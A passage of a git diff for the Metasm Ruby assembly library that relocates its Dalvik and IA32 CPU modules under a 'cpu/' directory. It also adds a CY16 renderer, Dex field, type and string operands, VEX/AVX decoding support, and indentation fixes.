+    addop 'not', (13<<12) | (7<<9) | (0<<6), :rd
+    addop 'neg', (13<<12) | (7<<9) | (1<<6), :rd
+    addop 'cbw', (13<<12) | (7<<9) | (4<<6), :rd
+    addop 'sti', (13<<12) | (7<<9) | (7<<6) | 0
+    addop 'cli', (13<<12) | (7<<9) | (7<<6) | 1
+    addop 'stc', (13<<12) | (7<<9) | (7<<6) | 2
+    addop 'clc', (13<<12) | (7<<9) | (7<<6) | 3
+  end
+
+  alias init_latest init_cy16
+end
+end
diff --git a/lib/metasm/metasm/cpu/cy16/render.rb b/lib/metasm/metasm/cpu/cy16/render.rb
new file mode 100644
index 0000000000..2c2a680435
--- /dev/null
+++ b/lib/metasm/metasm/cpu/cy16/render.rb
@@ -0,0 +1,41 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/cy16/opcodes'
+require 'metasm/render'
+
+module Metasm
+class CY16
+  class Reg
+    include Renderable
+    def render ; [self.class.i_to_s[@i]] end
+  end
+  class Memref
+    include Renderable
+    def render
+      r = []
+      r << (@sz == 1 ? 'byte ptr ' : 'word ptr ')
+      r << '['
+      r << @base if @base
+      r << '++' if @autoincr
+      r << ' + ' if @base and @offset
+      r << @offset if @offset
+      r << ']'
+    end
+  end
+
+  def render_instruction(i)
+    r = []
+    r << i.opname
+    if not i.args.empty?
+      r << ' '
+      i.args.each { |a_| r << a_ << ', ' }
+      r.pop
+    end
+    r
+  end
+end
+end
diff --git a/lib/metasm/metasm/cpu/dalvik.rb b/lib/metasm/metasm/cpu/dalvik.rb
new file mode 100644
index 0000000000..e4c7b4eb61
--- /dev/null
+++ b/lib/metasm/metasm/cpu/dalvik.rb
@@ -0,0 +1,11 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+class Metasm::Dalvik < Metasm::CPU
+end
+
+require 'metasm/main'
+require 'metasm/cpu/dalvik/decode'
diff --git a/lib/metasm/metasm/dalvik/decode.rb b/lib/metasm/metasm/cpu/dalvik/decode.rb
similarity index 82%
rename from lib/metasm/metasm/dalvik/decode.rb
rename to lib/metasm/metasm/cpu/dalvik/decode.rb
index 1b64eb0789..a52257b797 100644
--- a/lib/metasm/metasm/dalvik/decode.rb
+++ b/lib/metasm/metasm/cpu/dalvik/decode.rb
@@ -3,7 +3,7 @@
 #
 #    Licence is LGPL, see LICENCE in the top-level directory
 
-require 'metasm/dalvik/opcodes'
+require 'metasm/cpu/dalvik/opcodes'
 require 'metasm/decode'
 
 module Metasm
@@ -12,7 +12,7 @@ class Dalvik
   end
 
   def decode_findopcode(edata)
-    return if edata.ptr >= edata.data.length
+    return if edata.ptr+2 > edata.length
     di = DecodedInstruction.new(self)
     di.opcode = opcode_list[edata.decode_imm(:u16, @endianness) & 0xff]
     edata.ptr -= 2
@@ -22,7 +22,7 @@ class Dalvik
   def decode_instr_op(edata, di)
     op = di.opcode
     di.instruction.opname = op.name
-    
+
     val = [edata.decode_imm(:u16, @endianness)]
 
     op.args.each { |a|
@@ -80,7 +80,7 @@ class Dalvik
         Expression[Expression.make_signed((val[1] >> 8) & 0xff, 8)]
       when :rlist4, :rlist5
         cnt = (val[0] >> 12) & 0xf
-               val << edata.decode_imm(:u16, @endianness)
+        val << edata.decode_imm(:u16, @endianness)
         [cnt, 4].min.times {
           di.instruction.args << Reg.new(val[-1] & 0xf)
           val[-1] >>= 4
@@ -96,20 +96,40 @@ class Dalvik
         next
       when :m16
         val << edata.decode_imm(:u16, @endianness)
-        Method.new(@dex, val.last)
+        DexMethod.new(@dex, val.last)
+      when :fld16
+        val << edata.decode_imm(:u16, @endianness)
+        DexField.new(@dex, val.last)
+      when :typ16
+        val << edata.decode_imm(:u16, @endianness)
+        DexType.new(@dex, val.last)
+      when :str16
+        val << edata.decode_imm(:u16, @endianness)
+        DexString.new(@dex, val.last)
       else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}"
       end
     }
 
     di.bin_length = val.length*2
 
+    return if edata.ptr > edata.length
+
+    di
+  end
+
+  def decode_instr_interpret(di, addr)
+    if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname =~ /^if|^goto/
+      arg = Expression[addr, :+, [di.instruction.args.last, :*, 2]].reduce
+      di.instruction.args[-1] = Expression[arg]
+    end
+
     di
   end
 
   def backtrace_binding
     @backtrace_binding ||= init_backtrace_binding
   end
- 
+
   def init_backtrace_binding
     @backtrace_binding ||= {}
     sz = @size/8
@@ -117,12 +137,12 @@ class Dalvik
       case op.name
       when /invoke/
         @backtrace_binding[op.name] = lambda { |di, *args| {
-          :callstack => Expression[:callstack, :-, sz], 
+          :callstack => Expression[:callstack, :-, sz],
           Indirection[:callstack, sz] => Expression[di.next_addr]
         } }
       when /return/
         @backtrace_binding[op.name] = lambda { |di, *args| {
-                 :callstack => Expression[:callstack, :+, sz]
+          :callstack => Expression[:callstack, :+, sz]
         } }
       end
     }
@@ -136,9 +156,9 @@ class Dalvik
       else arg
       end
     }
-  
+
     if binding = backtrace_binding[di.opcode.name]
-      bd = binding[di, *a]
+      binding[di, *a]
     else
       puts "unhandled instruction to backtrace: #{di}" if $VERBOSE
       # assume nothing except the 1st arg is modified
@@ -150,20 +170,22 @@ class Dalvik
     end
 
   end
-  
+
   def get_xrefs_x(dasm, di)
     if di.opcode.props[:saveip]
       m = di.instruction.args.first
-      if m.kind_of? Method and m.off
+      if m.kind_of?(DexMethod) and m.off
         [m.off]
       else
         [:default]
       end
     elsif di.opcode.props[:setip]
-      if di.opcode.name =~ /return/
+      if di.opcode.name =~ /^return/
         [Indirection[:callstack, @size/8]]
+      elsif di.opcode.name =~ /^if|^goto/
+        [di.instruction.args.last]
       else
-      []	#	[di.instruction.args.last]
+        []	# [di.instruction.args.last]
       end
     else
       []
diff --git a/lib/metasm/metasm/dalvik/main.rb b/lib/metasm/metasm/cpu/dalvik/main.rb
similarity index 58%
rename from lib/metasm/metasm/dalvik/main.rb
rename to lib/metasm/metasm/cpu/dalvik/main.rb
index b0a0884ffc..264192cfb4 100644
--- a/lib/metasm/metasm/dalvik/main.rb
+++ b/lib/metasm/metasm/cpu/dalvik/main.rb
@@ -23,13 +23,14 @@ class Dalvik < CPU
     end
   end
 
-  class Method
+  class DexMethod
     attr_accessor :dex, :midx, :off
     def initialize(dex, midx)
       @dex = dex
       @midx = midx
       if @dex and m = @dex.methods[midx] and c = @dex.classes[m.classidx] and c.data and
-        me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.method == m }
+        me = (c.data.direct_methods+c.data.virtual_methods).find { |mm| mm.methodid == midx }
+        # FIXME this doesnt work
         @off = me.codeoff + me.code.insns_off
       end
     end
@@ -44,6 +45,54 @@ class Dalvik < CPU
     end
   end
 
+  class DexField
+    attr_accessor :dex, :fidx
+    def initialize(dex, fidx)
+      @dex = dex
+      @fidx = fidx
+    end
+
+    def to_s
+      if @dex and f = @dex.fields[@fidx]
+        @dex.types[f.classidx] + '->' + @dex.strings[f.nameidx]
+      else
+        "field_#@fidx"
+      end
+    end
+  end
+
+  class DexType
+    attr_accessor :dex, :tidx
+    def initialize(dex, tidx)
+      @dex = dex
+      @tidx = tidx
+    end
+
+    def to_s
+      if @dex and f = @dex.types[@tidx]
+        f
+      else
+        "type_#@tidx"
+      end
+    end
+  end
+
+  class DexString
+    attr_accessor :dex, :sidx
+    def initialize(dex, sidx)
+      @dex = dex
+      @sidx = sidx
+    end
+
+    def to_s
+      if @dex and f = @dex.strings[@sidx]
+        f.inspect
+      else
+        "string_#@sidx"
+      end
+    end
+  end
+
   def initialize(*args)
     super()
     @size = args.grep(Integer).first || 32
diff --git a/lib/metasm/metasm/dalvik/opcodes.rb b/lib/metasm/metasm/cpu/dalvik/opcodes.rb
similarity index 95%
rename from lib/metasm/metasm/dalvik/opcodes.rb
rename to lib/metasm/metasm/cpu/dalvik/opcodes.rb
index 48b858eec4..bef8d243bd 100644
--- a/lib/metasm/metasm/dalvik/opcodes.rb
+++ b/lib/metasm/metasm/cpu/dalvik/opcodes.rb
@@ -11,7 +11,7 @@
 # the opcode number is in the low-order byte, and determines the
 # argument format, which may take up to 4 other words
 
-require 'metasm/dalvik/main'
+require 'metasm/cpu/dalvik/main'
 
 module Metasm
 class Dalvik
@@ -61,9 +61,11 @@ invoke_virtual_quick invoke_virtual_quick_range invoke_super_quick invoke_super_
 unused_fc unused_fd unused_fe unused_ff]
 
   def init_dalvik
-    @valid_props << :canthrow
-    @valid_args = [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64,
-      :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5, :m16]
+    @valid_props[:canthrow] = true
+    [:i16, :i16_32hi, :i16_64hi, :i32, :iaa, :ib, :icc, :u16, :u32, :u64,
+     :r16, :ra, :raa, :rb, :rbb, :rcc, :rlist16, :rlist4, :rlist5,
+     :m16, :fld16, :typ16, :str16
+    ].each { |a| @valid_args[a] = true }
     @opcode_list = []
 
     OPCODES.each_with_index { |n, b|
@@ -80,7 +82,7 @@ unused_fc unused_fd unused_fe unused_ff]
   def addop_args(op)
     fmt = case op.name
     when 'goto'
-  			:fmt10t
+      :fmt10t
     when 'nop', 'return_void'
       :fmt10x
     when 'const_4'
@@ -119,12 +121,16 @@ unused_fc unused_fd unused_fe unused_ff]
       :fmt20t
     when 'goto_32'
       :fmt30t
-    when 'const_string', 'const_class', 'check_cast',
-      'new_instance', 'sget', 'sget_wide', 'sget_object',
+    when 'const_string'
+      :fmt21c_str
+    when 'const_class', 'check_cast',
+      'new_instance'
+      :fmt21c_typ
+    when 'sget', 'sget_wide', 'sget_object',
       'sget_boolean', 'sget_byte', 'sget_char', 'sget_short',
       'sput', 'sput_wide', 'sput_object', 'sput_boolean',
       'sput_byte', 'sput_char', 'sput_short'
-      :fmt21c
+      :fmt21c_fld
     when 'const_16', 'const_wide_16'
       :fmt21s
     when 'if_eqz', 'if_nez', 'if_ltz', 'if_gez', 'if_gtz', 'if_lez'
@@ -214,7 +220,9 @@ unused_fc unused_fd unused_fe unused_ff]
     when :fmt10t; op.args << :iaa
     when :fmt20t; op.args << :i16
     when :fmt20bc; op.args << :iaa << :u16
-    when :fmt21c; op.args << :raa << :u16
+    when :fmt21c_str; op.args << :raa << :str16
+    when :fmt21c_typ; op.args << :raa << :typ16
+    when :fmt21c_fld; op.args << :raa << :fld16
     when :fmt22x; op.args << :raa << :r16
     when :fmt21s, :fmt21t; op.args << :raa << :i16
     when :fmt21h; op.args << :raa << :i16_32hi
@@ -222,7 +230,7 @@ unused_fc unused_fd unused_fe unused_ff]
     when :fmt23x; op.args << :raa << :rbb << :rcc
     when :fmt22b; op.args << :raa << :rbb << :icc
     when :fmt22s, :fmt22t; op.args << :ra << :rb << :i16
-    when :fmt22c, :fmt22cs; op.args << :ra << :rb << :u16
+    when :fmt22c, :fmt22cs; op.args << :ra << :rb << :fld16
     when :fmt30t; op.args << :i32
     when :fmt31t, :fmt31c; op.args << :raa << :u32
     when :fmt32x; op.args << :r16 << :r16
@@ -238,7 +246,7 @@ unused_fc unused_fd unused_fe unused_ff]
     when :fmt3inline
       op.args << :r16 << :rlist4
     when :fmt3rc, :fmt3rms
-             # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1
+      # rlist = :r16, :r16+1, :r16+2, ..., :r16+:iaa-1
       op.args << :r16 << :rlist16
     when :fmt51l
       # u64 = u16 | (u16 << 16) | ...
diff --git a/lib/metasm/metasm/cpu/ia32.rb b/lib/metasm/metasm/cpu/ia32.rb
new file mode 100644
index 0000000000..4bc42a2845
--- /dev/null
+++ b/lib/metasm/metasm/cpu/ia32.rb
@@ -0,0 +1,17 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+# fix autorequire warning
+class Metasm::Ia32 < Metasm::CPU
+end
+
+require 'metasm/main'
+require 'metasm/cpu/ia32/parse'
+require 'metasm/cpu/ia32/encode'
+require 'metasm/cpu/ia32/decode'
+require 'metasm/cpu/ia32/render'
+require 'metasm/cpu/ia32/compile_c'
+require 'metasm/cpu/ia32/decompile'
+require 'metasm/cpu/ia32/debug'
diff --git a/lib/metasm/metasm/ia32/compile_c.rb b/lib/metasm/metasm/cpu/ia32/compile_c.rb
similarity index 98%
rename from lib/metasm/metasm/ia32/compile_c.rb
rename to lib/metasm/metasm/cpu/ia32/compile_c.rb
index 0d0d153aaf..dc7a6aaad9 100644
--- a/lib/metasm/metasm/ia32/compile_c.rb
+++ b/lib/metasm/metasm/cpu/ia32/compile_c.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ia32/parse'
+require 'metasm/cpu/ia32/parse'
 require 'metasm/compile_c'
 
 module Metasm
@@ -505,8 +505,8 @@ class CCompiler < C::Compiler
           if r.sz == 64
             get_composite_parts(r).reverse_each { |rp| instr 'push', rp }
           else
-          instr 'push', r
-        end
+            instr 'push', r
+          end
         end
       when Composite
         instr 'push', r.high
@@ -527,7 +527,7 @@ class CCompiler < C::Compiler
       if expr.rexpr.type.specifier == :unsigned and r.sz == 64
         label = new_label('unsign_float')
         if m.sz == 64 and @cpusz < 64
-          foo, m = get_composite_parts m
+          m = get_composite_parts(m)[1]
         end
         m2 = m
         m2 = make_volatile(m, expr.rexpr.type) if m.kind_of? ModRM
@@ -637,7 +637,7 @@ class CCompiler < C::Compiler
       # both sides are already cast to the same type by the precompiler
       # XXX expr.type.pointer?
       if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and
-        typesize[expr.lexpr.type.name] == typesize[:ptr]
+          typesize[expr.lexpr.type.name] == typesize[:ptr]
         expr.lexpr.type.name = :ptr
       end
       l = c_cexpr_inner(expr.lexpr)
@@ -711,6 +711,7 @@ class CCompiler < C::Compiler
           end
         when :-
           r = c_cexpr_inner(expr.rexpr)
+          r = resolve_address r if r.kind_of? Address
           if r.kind_of? Expression
             unuse l, r
             l = Address.new(l.modrm.dup)
@@ -1077,6 +1078,7 @@ class CCompiler < C::Compiler
     when 'add', 'sub', 'and', 'or', 'xor'
       r = make_volatile(r, type) if l.kind_of? ModRM and r.kind_of? ModRM
       unuse r
+      r = Reg.new(r.val, l.sz) if r.kind_of?(Reg) and l.kind_of?(ModRM) and l.sz and l.sz != r.sz	# add byte ptr [eax], bl
       instr op, l, r
     when 'shr', 'sar', 'shl'
       if r.kind_of? Expression
@@ -1249,7 +1251,7 @@ class CCompiler < C::Compiler
 
         instr 'xchg', ecx, Reg.new(r.val, 32) if r.val != 1
         unuse ecx
-      unuse r
+        unuse r
       end
     when 'mul'
       # high = (low1*high2) + (high1*low2) + (low1*low2).high
@@ -1377,7 +1379,7 @@ class CCompiler < C::Compiler
         instr 'mov', Reg.new(0, 32), r.low if r.low.val != 0
       end
     when Reg
-    instr 'mov', Reg.new(0, r.sz), r if r.val != 0
+      instr 'mov', Reg.new(0, r.sz), r if r.val != 0
     when FpReg
       instr 'fld', FpReg.new(r.val) if r.val and r.val != 0
     end
@@ -1475,17 +1477,17 @@ class CCompiler < C::Compiler
     end
     f = @state.func
     if f.has_attribute('stdcall') or f.has_attribute('fastcall')
-    al = typesize[:ptr]
+      al = typesize[:ptr]
       fa = f.type.args.dup
       2.times { fa.shift } if f.has_attribute('fastcall')
       argsz = fa.inject(0) { |sum, a|
         (a.has_attribute_var('register') or a.type.has_attribute_var('register')) ? sum : sum + (sizeof(a) + al - 1) / al * al
       }
       if argsz > 0
-      instr 'ret', Expression[argsz]
-    else
-      instr 'ret'
-    end
+        instr 'ret', Expression[argsz]
+      else
+        instr 'ret'
+      end
     else
       instr 'ret'
     end
@@ -1509,10 +1511,6 @@ class CCompiler < C::Compiler
 #File.open('m-dbg-precomp.c', 'w') { |fd| fd.puts @parser }
 #File.open('m-dbg-src.asm', 'w') { |fd| fd.puts @source }
   end
-
-  def check_reserved_name(var)
-    Reg.s_to_i[var.name]
-  end
 end
 
   def new_ccompiler(parser, exe=ExeFormat.new)
diff --git a/lib/metasm/metasm/ia32/debug.rb b/lib/metasm/metasm/cpu/ia32/debug.rb
similarity index 95%
rename from lib/metasm/metasm/ia32/debug.rb
rename to lib/metasm/metasm/cpu/ia32/debug.rb
index 26c08dfe39..952c72fb47 100644
--- a/lib/metasm/metasm/ia32/debug.rb
+++ b/lib/metasm/metasm/cpu/ia32/debug.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ia32/opcodes'
+require 'metasm/cpu/ia32/opcodes'
 
 module Metasm
 class Ia32
@@ -18,7 +18,7 @@ class Ia32
     @dbg_register_flags ||= :eflags
   end
 
-  def dbg_register_list 
+  def dbg_register_list
     @dbg_register_list ||= [:eax, :ebx, :ecx, :edx, :esi, :edi, :ebp, :esp, :eip]
   end
 
@@ -46,10 +46,10 @@ class Ia32
   end
 
   def dbg_enable_singlestep(dbg)
-    dbg_set_flag(dbg, :t)
+    dbg_set_flag(dbg, :t) if dbg_get_flag(dbg, :t) == 0
   end
   def dbg_disable_singlestep(dbg)
-    dbg_unset_flag(dbg, :t)
+    dbg_unset_flag(dbg, :t) if dbg_get_flag(dbg, :t) != 0
   end
 
   def dbg_enable_bp(dbg, bp)
@@ -113,20 +113,20 @@ class Ia32
     if dbg[:dr6] == 0 and dbg[:dr7] == 0
       dbg[:dr7] = 0x10000	# some OS (eg Windows) only return dr6 if dr7 != 0
     end
-    dbg[:dr6] = 0
+    dbg[:dr6] = 0 if dbg[:dr6] & 0x400f != 0
   end
 
   def dbg_evt_bpx(dbg, b)
     if b.address == dbg.pc-1
       dbg.pc -= 1
     end
-      end
+  end
 
   def dbg_find_bpx(dbg)
     return if dbg[:dr6] & 0x4000 != 0
     pc = dbg.pc
     dbg.breakpoint[pc-1] || dbg.breakpoint[pc]
-    end
+  end
 
   def dbg_find_hwbp(dbg)
     dr6 = dbg[:dr6]
diff --git a/lib/metasm/metasm/ia32/decode.rb b/lib/metasm/metasm/cpu/ia32/decode.rb
similarity index 82%
rename from lib/metasm/metasm/ia32/decode.rb
rename to lib/metasm/metasm/cpu/ia32/decode.rb
index 393e298932..de90f087d5 100644
--- a/lib/metasm/metasm/ia32/decode.rb
+++ b/lib/metasm/metasm/cpu/ia32/decode.rb
@@ -4,13 +4,13 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ia32/opcodes'
+require 'metasm/cpu/ia32/opcodes'
 require 'metasm/decode'
 
 module Metasm
 class Ia32
   class ModRM
-    def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg)
+    def self.decode(edata, byte, endianness, adsz, opsz, seg=nil, regclass=Reg, h = {})
       m = (byte >> 6) & 3
       rm = byte & 7
 
@@ -28,7 +28,11 @@ class Ia32
             b = Reg.new(a, adsz)
           else
             s = 1
-            i = Reg.new(a, adsz)
+            if h[:mrmvex]
+              i = SimdReg.new(a, h[:mrmvex])
+            else
+              i = Reg.new(a, adsz)
+            end
           end
 
         when :sib
@@ -37,7 +41,11 @@ class Ia32
           ii = ((sib >> 3) & 7)
           if ii != 4
             s = 1 << ((sib >> 6) & 3)
-            i = Reg.new(ii, adsz)
+            if h[:mrmvex]
+              i = SimdReg.new(ii, h[:mrmvex])
+            else
+              i = Reg.new(ii, adsz)
+            end
           end
 
           bb = sib & 7
@@ -52,11 +60,12 @@ class Ia32
         end
       }
 
-      if imm and imm.reduce.kind_of? Integer and imm.reduce < -0x10_0000
+      if imm and ir = imm.reduce and ir.kind_of?(Integer) and ir < 0 and (ir < -0x10_0000 or (!b and !i))
         # probably a base address -> unsigned
         imm = Expression[imm.reduce & ((1 << (adsz || 32)) - 1)]
       end
 
+      opsz = h[:argsz] if h[:argsz]
       new adsz, opsz, s, i, b, imm, seg
     end
   end
@@ -90,18 +99,19 @@ class Ia32
       msk = op.bin_mask[0]
 
       for i in b..(b | (255^msk))
-        next if i & msk != b & msk
-        lookaside[i] << op
+        lookaside[i] << op if i & msk == b & msk
       end
     }
     lookaside
   end
 
   def decode_prefix(instr, byte)
-    # XXX check multiple occurences ?
     instr.prefix ||= {}
     (instr.prefix[:list] ||= []) << byte
 
+    # XXX actual limit = 15-instr.length
+    return false if instr.prefix[:list].length >= 15
+
     case byte
     when 0x66; instr.prefix[:opsz] = true
     when 0x67; instr.prefix[:adsz] = true
@@ -115,8 +125,6 @@ class Ia32
         v = byte & 7
       end
       instr.prefix[:seg] = SegReg.new(v)
-
-      instr.prefix[:jmphint] = ((byte & 0x10) == 0x10)
     else
       return false
     end
@@ -131,11 +139,10 @@ class Ia32
     while edata.ptr < edata.data.length
       pfx = di.instruction.prefix || {}
       byte = edata.data[edata.ptr]
-      byte = byte.unpack('C').first if byte.kind_of? ::String	# 1.9
+      byte = byte.unpack('C').first if byte.kind_of?(::String)
       return di if di.opcode = @bin_lookaside[byte].find { |op|
         # fetch the relevant bytes from edata
         bseq = edata.data[edata.ptr, op.bin.length].unpack('C*')
-        di.opcode = op if op.props[:opsz]	# needed by opsz(di)
 
         # check against full opcode mask
         op.bin.zip(bseq, op.bin_mask).all? { |b1, b2, m| b2 and ((b1 & m) == (b2 & m)) } and
@@ -145,12 +152,17 @@ class Ia32
           (fld = op.fields[:seg2A]  and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg2A] == 1) or
           (fld = op.fields[:seg3A]  and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3A] < 4) or
           (fld = op.fields[:seg3A] || op.fields[:seg3] and (bseq[fld[0]] >> fld[1]) & @fields_mask[:seg3] > 5) or
-          (fld = op.fields[:modrmA] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or
-          (sz = op.props[:opsz] and opsz(di) != sz) or
+          (op.props[:modrmA] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 == 0xC0) or
+          (op.props[:modrmR] and fld = op.fields[:modrm] and (bseq[fld[0]] >> fld[1]) & 0xC0 != 0xC0) or
+          (fld = op.fields[:vex_vvvv] and @size != 64 and (bseq[fld[0]] >> fld[1]) & @fields_mask[:vex_vvvv] < 8) or
+          (sz = op.props[:opsz] and opsz(di, op) != sz) or
+          (sz = op.props[:adsz] and adsz(di, op) != sz) or
           (ndpfx = op.props[:needpfx] and not pfx[:list].to_a.include? ndpfx) or
+          (pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size) or
           # return non-ambiguous opcode (eg push.i16 in 32bit mode) / sync with addop_post in opcode.rb
-          (pfx[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name[0, 3] == 'ret') and not op.props[:opsz]) or
-          (pfx[:adsz] and op.props[:adsz] and op.props[:adsz] == @size)
+          (pfx[:opsz] and not op.props[:opsz] and (op.args == [:i] or op.args == [:farptr] or op.name == 'ret')) or
+          (pfx[:adsz] and not op.props[:adsz] and (op.props[:strop] or op.props[:stropz] or op.args.include?(:mrm_imm) or op.args.include?(:modrm) or op.name =~ /loop|xlat/)) or
+          (op.name == 'nop' and op.bin[0] == 0x90 and di.instruction.prefix and di.instruction.prefix[:rex_b])
          )
       }
 
@@ -172,39 +184,50 @@ class Ia32
     when 0xF2, 0xF3; pfx.delete :rep
     end
 
+    if op.props[:setip] and not op.props[:stopexec] and pfx[:seg]
+      case pfx.delete(:seg).val
+      when 1; pfx[:jmphint] = 'hintnojmp'
+      when 3; pfx[:jmphint] = 'hintjmp'
+      end
+    end
+
     field_val = lambda { |f|
       if fld = op.fields[f]
         (bseq[fld[0]] >> fld[1]) & @fields_mask[f]
       end
     }
 
-    opsz = opsz(di)
+    opsz = op.props[:argsz] || opsz(di)
+    adsz = (pfx[:adsz] ? 48 - @size : @size)
 
-    if pfx[:adsz]
-      adsz = 48 - @size
-    else
-      adsz = @size
-    end
-
-      mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64)
+    mmxsz = ((op.props[:xmmx] && pfx[:opsz]) ? 128 : 64)
     op.args.each { |a|
       di.instruction.args << case a
       when :reg;    Reg.new     field_val[a], opsz
       when :eeec;   CtrlReg.new field_val[a]
       when :eeed;   DbgReg.new  field_val[a]
+      when :eeet;   TstReg.new  field_val[a]
       when :seg2, :seg2A, :seg3, :seg3A; SegReg.new field_val[a]
       when :regfp;  FpReg.new   field_val[a]
       when :regmmx; SimdReg.new field_val[a], mmxsz
       when :regxmm; SimdReg.new field_val[a], 128
+      when :regymm; SimdReg.new field_val[a], 256
 
       when :farptr; Farptr.decode edata, @endianness, opsz
       when :i8, :u8, :u16; Expression[edata.decode_imm(a, @endianness)]
       when :i; Expression[edata.decode_imm("#{op.props[:unsigned_imm] ? 'a' : 'i'}#{opsz}".to_sym, @endianness)]
 
-      when :mrm_imm;  ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx[:seg]
-      when :modrm, :modrmA; ModRM.decode edata, field_val[a], @endianness, adsz, opsz, pfx[:seg]
-      when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx[:seg], SimdReg
-      when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx[:seg], SimdReg
+      when :mrm_imm;  ModRM.decode edata, (adsz == 16 ? 6 : 5), @endianness, adsz, opsz, pfx.delete(:seg)
+      when :modrm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, opsz, pfx.delete(:seg)
+      when :modrmmmx; ModRM.decode edata, field_val[:modrm], @endianness, adsz, mmxsz, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz]
+      when :modrmxmm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 128, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]
+      when :modrmymm; ModRM.decode edata, field_val[:modrm], @endianness, adsz, 256, pfx.delete(:seg), SimdReg, :argsz => op.props[:argsz], :mrmvex => op.props[:mrmvex]
+
+      when :vexvreg; Reg.new((field_val[:vex_vvvv] ^ 0xf), opsz)
+      when :vexvxmm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 128)
+      when :vexvymm; SimdReg.new((field_val[:vex_vvvv] ^ 0xf), 256)
+      when :i4xmm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 128)
+      when :i4ymm; SimdReg.new((edata.decode_imm(:u8, @endianness) >> 4) & 7, 256)
 
       when :imm_val1; Expression[1]
       when :imm_val3; Expression[3]
@@ -218,6 +241,8 @@ class Ia32
 
     di.bin_length += edata.ptr - before_ptr
 
+    return false if edata.ptr > edata.length
+
     if op.name == 'movsx' or op.name == 'movzx'
       if di.opcode.props[:argsz] == 8
         di.instruction.args[1].sz = 8
@@ -229,9 +254,10 @@ class Ia32
       else
         di.instruction.args[0].sz = @size
       end
+    elsif op.name == 'crc32'
+      di.instruction.args[0].sz = 32
     end
 
-    pfx.delete :seg
     case pfx.delete(:rep)
     when :nz
       if di.opcode.props[:strop]
@@ -254,7 +280,7 @@ class Ia32
   # adds the eip delta to the offset +off+ of the instruction (may be an Expression) + its bin_length
   # do not call twice on the same di !
   def decode_instr_interpret(di, addr)
-    if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname[0, 3] != 'ret'
+    if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.instruction.opname !~ /^i?ret/
       delta = di.instruction.args.last.reduce
       arg = Expression[[addr, :+, di.bin_length], :+, delta].reduce
       di.instruction.args[-1] = Expression[arg]
@@ -303,11 +329,16 @@ class Ia32
   end
   def backtrace_binding=(b) @backtrace_binding = b end
 
-  def opsz(di)
-    ret = @size
-    ret = di.opcode.props[:argsz] if di and di.opcode.props[:argsz]
-    ret = 48 - ret if di and not di.opcode.props[:argsz] and di.instruction.prefix and di.instruction.prefix[:opsz]
-    ret
+  def opsz(di, op=nil)
+    if di and di.instruction.prefix and di.instruction.prefix[:opsz] and (op || di.opcode).props[:needpfx] != 0x66; 48-@size
+    else @size
+    end
+  end
+
+  def adsz(di, op=nil)
+    if di and di.instruction.prefix and di.instruction.prefix[:adsz] and (op || di.opcode).props[:needpfx] != 0x67; 48-@size
+    else @size
+    end
   end
 
   # populate the @backtrace_binding hash with default values
@@ -315,13 +346,20 @@ class Ia32
     @backtrace_binding ||= {}
 
     eax, ecx, edx, ebx, esp, ebp, esi, edi = register_symbols
+    ebx = ebx
 
     mask = lambda { |di| (1 << opsz(di))-1 }	# 32bits => 0xffff_ffff
     sign = lambda { |v, di| Expression[[[v, :&, mask[di]], :>>, opsz(di)-1], :'!=', 0] }
 
     opcode_list.map { |ol| ol.basename }.uniq.sort.each { |op|
       binding = case op
-      when 'mov', 'movsx', 'movzx', 'movsxd', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
+      when 'mov', 'movzx', 'movd', 'movq'; lambda { |di, a0, a1| { a0 => Expression[a1] } }
+      when 'movsx', 'movsxd'
+        lambda { |di, a0, a1|
+          sz1 = di.instruction.args[1].sz
+          sign1 = Expression[[a1, :>>, sz1-1], :&, 1]
+          { a0 => Expression[[a1, :|, [sign1, :*, (-1 << sz1)]], :&, mask[di]] }
+        }
       when 'lea'; lambda { |di, a0, a1| { a0 => a1.target } }
       when 'xchg'; lambda { |di, a0, a1| { a0 => Expression[a1], a1 => Expression[a0] } }
